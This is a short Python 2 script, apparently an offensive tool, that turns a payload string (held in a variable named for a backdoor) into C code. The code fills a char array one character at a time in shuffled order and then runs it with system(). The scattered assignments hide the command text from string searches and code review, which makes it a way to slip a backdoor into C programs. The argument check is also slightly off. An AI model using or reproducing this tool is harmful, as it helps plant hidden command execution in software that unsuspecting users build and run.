 #!/usr/bin/env python 
import random 
import sys 
back = [] 
 
if len(sys.argv) < 2: 
 print "[+] Usage %s <arrayname> <payload>" % (sys.argv[0]) 
 exit(1)
  
tmpname = sys.argv[1] 
tmpbdoor = sys.argv[2] 
size = len(tmpbdoor) + 1 
define = "char " + tmpname + "[" + str(size) + "];\n"
 
for i in range(0, len(tmpbdoor)): 
 string = tmpbdoor[i] 
 tmpfinal = str(tmpname + "[" + str(i) + "]") + " = '" + string + "';\n" 
 back.append(tmpfinal) 
 
random.shuffle(back) 
back.insert(0,define) 
back.append(str(tmpname + "[" + str(size - 1) + "]") + " = '" + "\\0" + "';\n") 
 
print ''.join(back) 
print 'system('+tmpname+');'